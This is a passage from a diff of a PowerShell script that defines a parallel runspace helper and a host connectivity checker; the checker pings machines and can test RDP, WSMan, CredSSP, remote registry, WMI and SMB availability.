in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) - { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp { [cmdletbinding()] - param () } - $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) - Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) - Write-Verbose "Found variables to import: $(($UserVariables | Select -expandproperty Name | Sort) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @(Get-Module | Where { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select -ExpandProperty Path) - $UserSnapins = @(Get-PSSnapin | Select -ExpandProperty Name | Where { $StandardUserEnv.Snapins -notcontains $_ }) - } - } - - #region functions - - Function Get-RunspaceData - { - [cmdletbinding()] - param ([switch]$Wait) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do - { - - #set more to false for tracking completion - $more = $false - - #Progress bar if we have inputobject count (bound parameter) - if (-not $Quiet) - { - Write-Progress -Activity "Running Query" -Status "Starting threads"` - -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` - -PercentComplete $(Try { $script:completedCount / $totalCount * 100 } - Catch { 0 }) - } - - #run through each runspace. - Foreach ($runspace in $runspaces) - { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round($runtime.totalminutes, 2) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) - { - - $script:completedCount++ - - #check if there were errors - if ($runspace.powershell.Streams.Error.Count -gt 0) - { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach ($ErrorRecord in $runspace.powershell.Streams.Error) - { - Write-Error -ErrorRecord $ErrorRecord - } - } - else - { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ($runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) - { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null) - { - $log = $null - $more = $true - } - - #log the results if a log file was indicated - if ($logFile -and $log) - { - ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if ($PSBoundParameters['Wait']) { Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } - while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if ($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create($(Get-Content $ScriptFile | out-string)) - } - elseif ($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if ($PSBoundParameters.ContainsKey('Parameter')) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if ($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({ $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] }, $True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach { $_.Group | Select -First 1 } - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) - { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl', $bindingFlags)) - - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast, @($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if ($UserVariables.count -gt 0) - { - foreach ($Variable in $UserVariables) - { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null)) - } - } - } - if ($ImportModules) - { - if ($UserModules.count -gt 0) - { - foreach ($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if ($UserSnapins.count -gt 0) - { - foreach ($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if ($PSBoundParameters.ContainsKey("inputObject")) - { - $global:__bound = $true - } - - #Set up log file if specified - if ($LogFile) - { - New-Item -ItemType file -path $logFile -force | Out-Null - ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile - } - - #write initial log entry - $log = "" | Select Date, Action, Runtime, Status, Details - $log.Date = Get-Date - $log.Action = "Batch processing started" - $log.Runtime = $null - $log.Status = "Started" - $log.Details = $null - if ($logFile) - { - ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append - } - - $timedOutTasks = $false - - #endregion INIT - } - - Process - { - - #add piped objects to all objects or set all objects to bound input object parameter - if (-not $global:__bound) - { - $allObjects += $inputObject - } - else - { - $allObjects = $InputObject - } - } - - End - { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach ($object in $allObjects) - { - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({ $VerbosePreference = 'Continue' }) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach ($UsingVariable in $UsingVariableData) - { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ("Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring()) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) - { - - #give verbose output - if ($firstRun) - { - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - - } - - #endregion add scripts to runspace pool - } - - Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where { $_.Runspace -ne $Null }).Count)) - Get-RunspaceData -wait - - if (-not $quiet) - { - Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed - } - - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if (($timedOutTasks -eq $false) -or (($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false))) - { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - - #collect garbage - [gc]::Collect() - } - } - } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if (-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() - } - } - Process - { - - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if ($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach ($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null - } - } - - } - End - { - - #Built up the parameters and run everything in parallel - $params = @($Detail, $Quiet) - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - parameter = $params - } - if ($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout', $True) - } - - Invoke-Parallel @splat -ScriptBlock { - - $computer = $_.trim() - $detail = $parameter[0] - $quiet = $parameter[1] - - #They want detail, define and run test-server - if ($detail) - { - Try - { - #Modification of jrich's Test-Server function: https://gallery.technet.microsoft.com/scriptcenter/Powershell-Test-Server-e0cdea9a - Function Test-Server - { - [cmdletBinding()] - param ( - [parameter( - Mandatory = $true, - ValueFromPipeline = $true)] - [string[]]$ComputerName, - - [switch]$All, - - [parameter(Mandatory = $false)] - [switch]$CredSSP, - - [switch]$RemoteReg, - - [switch]$RDP, - - [switch]$RPC, - - [switch]$SMB, - - [switch]$WSMAN, - - [switch]$IPV6, - - [Management.Automation.PSCredential]$Credential - ) - begin - { - $total = Get-Date - $results = @() - if ($credssp -and -not $Credential) - { - Throw "Must supply Credentials with CredSSP test" - } - - [string[]]$props = write-output Name, IP, Domain, Ping, WSMAN, CredSSP, RemoteReg, RPC, RDP, SMB - - #Hash table to create PSObjects later, compatible with ps2... - $Hash = @{ } - foreach ($prop in $props) - { - $Hash.Add($prop, $null) - } - - function Test-Port - { - [cmdletbinding()] - Param ( - [string]$srv, - - $port = 135, - - $timeout = 3000 - ) - $ErrorActionPreference = "SilentlyContinue" - $tcpclient = new-Object system.Net.Sockets.TcpClient - $iar = $tcpclient.BeginConnect($srv, $port, $null, $null) - $wait = $iar.AsyncWaitHandle.WaitOne($timeout, $false) - if (-not $wait) - { - $tcpclient.Close() - Write-Verbose "Connection Timeout to $srv`:$port" - $false - } - else - { - Try - { - $tcpclient.EndConnect($iar) | out-Null - $true - } - Catch - { - write-verbose "Error for $srv`:$port`: $_" - $false - } - $tcpclient.Close() - } - } - } - - process - { - foreach ($name in $computername) - { - $dt = $cdt = Get-Date - Write-verbose "Testing: $Name" - $failed = 0 - try - { - $DNSEntity = [Net.Dns]::GetHostEntry($name) - $domain = ($DNSEntity.hostname).replace("$name.", "") - $ips = $DNSEntity.AddressList | %{ - if (-not (-not $IPV6 -and $_.AddressFamily -like "InterNetworkV6")) - { - $_.IPAddressToString - } - } - } - catch - { - $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props - $rst.name = $name - $results += $rst - $failed = 1 - } - Write-verbose "DNS: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - if ($failed -eq 0) - { - foreach ($ip in $ips) - { - - $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props - $rst.name = $name - $rst.ip = $ip - $rst.domain = $domain - - if ($RDP -or $All) - { - ####RDP Check (firewall may block rest so do before ping - try - { - $socket = New-Object Net.Sockets.TcpClient($name, 3389) -ErrorAction stop - if ($socket -eq $null) - { - $rst.RDP = $false - } - else - { - $rst.RDP = $true - $socket.close() - } - } - catch - { - $rst.RDP = $false - Write-Verbose "Error testing RDP: $_" - } - } - Write-verbose "RDP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - #########ping - if (test-connection $ip -count 2 -Quiet) - { - Write-verbose "PING: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - $rst.ping = $true - - if ($WSMAN -or $All) - { - try - { - ############wsman - Test-WSMan $ip -ErrorAction stop | Out-Null - $rst.WSMAN = $true - } - catch - { - $rst.WSMAN = $false - Write-Verbose "Error testing WSMAN: $_" - } - Write-verbose "WSMAN: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - if ($rst.WSMAN -and $credssp) ########### credssp - { - try - { - Test-WSMan $ip -Authentication Credssp -Credential $cred -ErrorAction stop - $rst.CredSSP = $true - } - catch - { - $rst.CredSSP = $false - Write-Verbose "Error testing CredSSP: $_" - } - Write-verbose "CredSSP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - } - } - if ($RemoteReg -or $All) - { - try ########remote reg - { - [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $ip) | Out-Null - $rst.remotereg = $true - } - catch - { - $rst.remotereg = $false - Write-Verbose "Error testing RemoteRegistry: $_" - } - Write-verbose "remote reg: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - } - if ($RPC -or $All) - { - try ######### wmi - { - $w = [wmi] '' - $w.psbase.options.timeout = 15000000 - $w.path = "\\$Name\root\cimv2:Win32_ComputerSystem.Name='$Name'" - $w | select none | Out-Null - $rst.RPC = $true - } - catch - { - $rst.rpc = $false - Write-Verbose "Error testing WMI/RPC: $_" - } - Write-verbose "WMI/RPC: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - } - if ($SMB -or $All) - { - - #Use set location and resulting errors. push and pop current location - try ######### C$ - { - $path = "\\$name\c$" - Push-Location -Path $path -ErrorAction stop - $rst.SMB = $true - Pop-Location - } - catch - { - $rst.SMB = $false - Write-Verbose "Error testing SMB: $_" - } - Write-verbose "SMB: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" - - } - } - else - { - $rst.ping = $false - $rst.wsman = $false - $rst.credssp = $false - $rst.remotereg = $false - $rst.rpc = $false - $rst.smb = $false - } - $results += $rst - } - } - Write-Verbose "Time for $($Name): $((New-TimeSpan $cdt ($dt)).totalseconds)" - Write-Verbose "----------------------------" - } - } - end - { - Write-Verbose "Time for all: $((New-TimeSpan $total ($dt)).totalseconds)" - Write-Verbose "----------------------------" - return $results - } - } - - #Build up parameters for Test-Server and run it - $TestServerParams = @{ - ComputerName = $Computer - ErrorAction = "Stop" - } - - if ($detail -eq "*") - { - $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" - } - - $detail | Select -Unique | Foreach-Object { $TestServerParams.add($_, $True) } - Test-Server @TestServerParams | Select -Property $("Name", "IP", "Domain", "Ping" + $detail) - } - Catch - { - Write-Warning "Error with Test-Server: $_" - } - } - #We just want ping output - else - { - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if ($result = @(Test-Connection -ComputerName $computer -Count 2 -erroraction Stop)) - { - $Output = $result | Select -first 1 -Property Address, - IPV4Address, - IPV6Address, - ResponseTime, - @{ label = "STATUS"; expression = { "Responding" } } - - if ($quiet) - { - $Output.address - } - else - { - $Output - } - } - } - Catch - { - if (-not $quiet) - { - #Ping failed. I'm likely making inappropriate assumptions here, let me know if this is the case : ) - if ($_ -match "No such host is known") - { - $status = "Unknown host" - } - elseif ($_ -match "Error due to lack of resources") - { - $status = "No Response" - } - else - { - $status = "Error: $_" - } - - "" | Select -Property @{ label = "Address"; expression = { $computer } }, - IPV4Address, - IPV6Address, - ResponseTime, - @{ label = "STATUS"; expression = { $status } } - } - } - } - } - } - } + [PSObject]$Parameter, + + [switch]$ImportVariables, + + [switch]$ImportModules, + + [int]$Throttle = 20, + + [int]$SleepTimer = 200, + + [int]$RunspaceTimeout = 0, + + [switch]$NoCloseOnTimeout = $false, + + [int]$MaxQueue, + + [validatescript({ Test-Path (Split-Path $_ -parent) })] + [string]$LogFile = "C:\temp\log.log", + + [switch]$Quiet = $false + ) + + Begin + { + + #No max queue specified? Estimate one. + #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function + if (-not $PSBoundParameters.ContainsKey('MaxQueue')) + { + if ($RunspaceTimeout -ne 0) { $script:MaxQueue = $Throttle } + else { $script:MaxQueue = $Throttle * 3 } + } + else + { + $script:MaxQueue = $MaxQueue + } + + Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" + + #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items + if ($ImportVariables -or $ImportModules) + { + $StandardUserEnv = [powershell]::Create().addscript({ + + #Get modules and snapins in this clean runspace + $Modules = Get-Module | Select -ExpandProperty Name + $Snapins = Get-PSSnapin | Select -ExpandProperty Name + + #Get variables in this clean runspace + #Called last to get vars like $? into session + $Variables = Get-Variable | Select -ExpandProperty Name + + #Return a hashtable where we can access each. + @{ + Variables = $Variables + Modules = $Modules + Snapins = $Snapins + } + }).invoke()[0] + + if ($ImportVariables) + { + #Exclude common parameters, bound parameters, and automatic variables + Function _temp { [cmdletbinding()] + param () } + $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) + Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" + + # we don't use 'Get-Variable -Exclude', because it uses regexps. + # One of the veriables that we pass is '$?'. + # There could be other variables with such problems. + # Scope 2 required if we move to a real module + $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) + Write-Verbose "Found variables to import: $(($UserVariables | Select -expandproperty Name | Sort) -join ", " | Out-String).`n" + + } + + if ($ImportModules) + { + $UserModules = @(Get-Module | Where { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select -ExpandProperty Path) + $UserSnapins = @(Get-PSSnapin | Select -ExpandProperty Name | Where { $StandardUserEnv.Snapins -notcontains $_ }) + } + } + + #region functions + + Function Get-RunspaceData + { + [cmdletbinding()] + param ([switch]$Wait) + + #loop through runspaces + #if $wait is specified, keep looping until all complete + Do + { + + #set more to false for tracking completion + $more = $false + + #Progress bar if we have inputobject count (bound parameter) + if (-not $Quiet) + { + Write-Progress -Activity "Running Query" -Status "Starting threads"` + -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` + -PercentComplete $(Try { $script:completedCount / $totalCount * 100 } + Catch { 0 }) + } + + #run through each runspace. + Foreach ($runspace in $runspaces) + { + + #get the duration - inaccurate + $currentdate = Get-Date + $runtime = $currentdate - $runspace.startTime + $runMin = [math]::Round($runtime.totalminutes, 2) + + #set up log object + $log = "" | select Date, Action, Runtime, Status, Details + $log.Action = "Removing:'$($runspace.object)'" + $log.Date = $currentdate + $log.Runtime = "$runMin minutes" + + #If runspace completed, end invoke, dispose, recycle, counter++ + If ($runspace.Runspace.isCompleted) + { + + $script:completedCount++ + + #check if there were errors + if ($runspace.powershell.Streams.Error.Count -gt 0) + { + + #set the logging info and move the file to completed + $log.status = "CompletedWithErrors" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + foreach ($ErrorRecord in $runspace.powershell.Streams.Error) + { + Write-Error -ErrorRecord $ErrorRecord + } + } + else + { + + #add logging details and cleanup + $log.status = "Completed" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + } + + #everything is logged, clean up the runspace + $runspace.powershell.EndInvoke($runspace.Runspace) + $runspace.powershell.dispose() + $runspace.Runspace = $null + $runspace.powershell = $null + + } + + #If runtime exceeds max, dispose the runspace + ElseIf ($runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) + { + + $script:completedCount++ + $timedOutTasks = $true + + #add logging details and cleanup + $log.status = "TimedOut" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" + + #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance + if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } + $runspace.Runspace = $null + $runspace.powershell = $null + $completedCount++ + + } + + #If runspace isn't null set more to true + ElseIf ($runspace.Runspace -ne $null) + { + $log = $null + $more = $true + } + + #log the results if a log file was indicated + if ($logFile -and $log) + { + ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append + } + } + + #Clean out unused runspace jobs + $temphash = $runspaces.clone() + $temphash | Where { $_.runspace -eq $Null } | ForEach { + $Runspaces.remove($_) + } + + #sleep for a bit if we will loop again + if ($PSBoundParameters['Wait']) { Start-Sleep -milliseconds $SleepTimer } + + #Loop again only if -wait parameter and there are more runspaces to process + } + while ($more -and $PSBoundParameters['Wait']) + + #End of runspace function + } + + #endregion functions + + #region Init + + if ($PSCmdlet.ParameterSetName -eq 'ScriptFile') + { + $ScriptBlock = [scriptblock]::Create($(Get-Content $ScriptFile | out-string)) + } + elseif ($PSCmdlet.ParameterSetName -eq 'ScriptBlock') + { + #Start building parameter names for the param block + [string[]]$ParamsToAdd = '$_' + if ($PSBoundParameters.ContainsKey('Parameter')) + { + $ParamsToAdd += '$Parameter' + } + + $UsingVariableData = $Null + + + # This code enables $Using support through the AST. + # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! + + if ($PSVersionTable.PSVersion.Major -gt 2) + { + #Extract using references + $UsingVariables = $ScriptBlock.ast.FindAll({ $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] }, $True) + + If ($UsingVariables) + { + $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' + ForEach ($Ast in $UsingVariables) + { + [void]$list.Add($Ast.SubExpression) + } + + $UsingVar = $UsingVariables | Group Parent | ForEach { $_.Group | Select -First 1 } + + #Extract the name, value, and create replacements for each + $UsingVariableData = ForEach ($Var in $UsingVar) + { + Try + { + $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop + $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + [pscustomobject]@{ + Name = $Var.SubExpression.Extent.Text + Value = $Value.Value + NewName = $NewName + NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + } + $ParamsToAdd += $NewName + } + Catch + { + Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" + } + } + + $NewParams = $UsingVariableData.NewName -join ', ' + $Tuple = [Tuple]::Create($list, $NewParams) + $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" + $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl', $bindingFlags)) + + $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast, @($Tuple)) + + $ScriptBlock = [scriptblock]::Create($StringScriptBlock) + + Write-Verbose $StringScriptBlock + } + } + + $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) + } + else + { + Throw "Must provide ScriptBlock or ScriptFile"; Break + } + + Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" + Write-Verbose "Creating runspace pool and session states" + + #If specified, add variables and modules/snapins to session state + $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + if ($ImportVariables) + { + if ($UserVariables.count -gt 0) + { + foreach ($Variable in $UserVariables) + { + $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null)) + } + } + } + if ($ImportModules) + { + if ($UserModules.count -gt 0) + { + foreach ($ModulePath in $UserModules) + { + $sessionstate.ImportPSModule($ModulePath) + } + } + if ($UserSnapins.count -gt 0) + { + foreach ($PSSnapin in $UserSnapins) + { + [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) + } + } + } + + #Create runspace pool + $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) + $runspacepool.Open() + + Write-Verbose "Creating empty collection to hold runspace jobs" + $Script:runspaces = New-Object System.Collections.ArrayList + + #If inputObject is bound get a total count and set bound to true + $global:__bound = $false + $allObjects = @() + if ($PSBoundParameters.ContainsKey("inputObject")) + { + $global:__bound = $true + } + + #Set up log file if specified + if ($LogFile) + { + New-Item -ItemType file -path $logFile -force | Out-Null + ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile + } + + #write initial log entry + $log = "" | Select Date, Action, Runtime, Status, Details + $log.Date = Get-Date + $log.Action = "Batch processing started" + $log.Runtime = $null + $log.Status = "Started" + $log.Details = $null + if ($logFile) + { + ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append + } + + $timedOutTasks = $false + + #endregion INIT + } + + Process + { + + #add piped objects to all objects or set all objects to bound input object parameter + if (-not $global:__bound) + { + $allObjects += $inputObject + } + else + { + $allObjects = $InputObject + } + } + + End + { + + #Use Try/Finally to catch Ctrl+C and clean up. + Try + { + #counts for progress + $totalCount = $allObjects.count + $script:completedCount = 0 + $startedCount = 0 + + foreach ($object in $allObjects) + { + + #region add scripts to runspace pool + + #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters + $powershell = [powershell]::Create() + + if ($VerbosePreference -eq 'Continue') + { + [void]$PowerShell.AddScript({ $VerbosePreference = 'Continue' }) + } + + [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) + + if ($parameter) + { + [void]$PowerShell.AddArgument($parameter) + } + + # $Using support from Boe Prox + if ($UsingVariableData) + { + Foreach ($UsingVariable in $UsingVariableData) + { + Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" + [void]$PowerShell.AddArgument($UsingVariable.Value) + } + } + + #Add the runspace into the powershell instance + $powershell.RunspacePool = $runspacepool + + #Create a temporary collection for each runspace + $temp = "" | Select-Object PowerShell, StartTime, object, Runspace + $temp.PowerShell = $powershell + $temp.StartTime = Get-Date + $temp.object = $object + + #Save the handle output when calling BeginInvoke() that will be used later to end the runspace + $temp.Runspace = $powershell.BeginInvoke() + $startedCount++ + + #Add the temp tracking info to $runspaces collection + Write-Verbose ("Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring()) + $runspaces.Add($temp) | Out-Null + + #loop through existing runspaces one time + Get-RunspaceData + + #If we have more running than max queue (used to control timeout accuracy) + #Script scope resolves odd PowerShell 2 issue + $firstRun = $true + while ($runspaces.count -ge $Script:MaxQueue) + { + + #give verbose output + if ($firstRun) + { + Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." + } + $firstRun = $false + + #run get-runspace data and sleep for a short while + Get-RunspaceData + Start-Sleep -Milliseconds $sleepTimer + + } + + #endregion add scripts to runspace pool + } + + Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where { $_.Runspace -ne $Null }).Count)) + Get-RunspaceData -wait + + if (-not $quiet) + { + Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed + } + + } + Finally + { + #Close the runspace pool, unless we specified no close on timeout 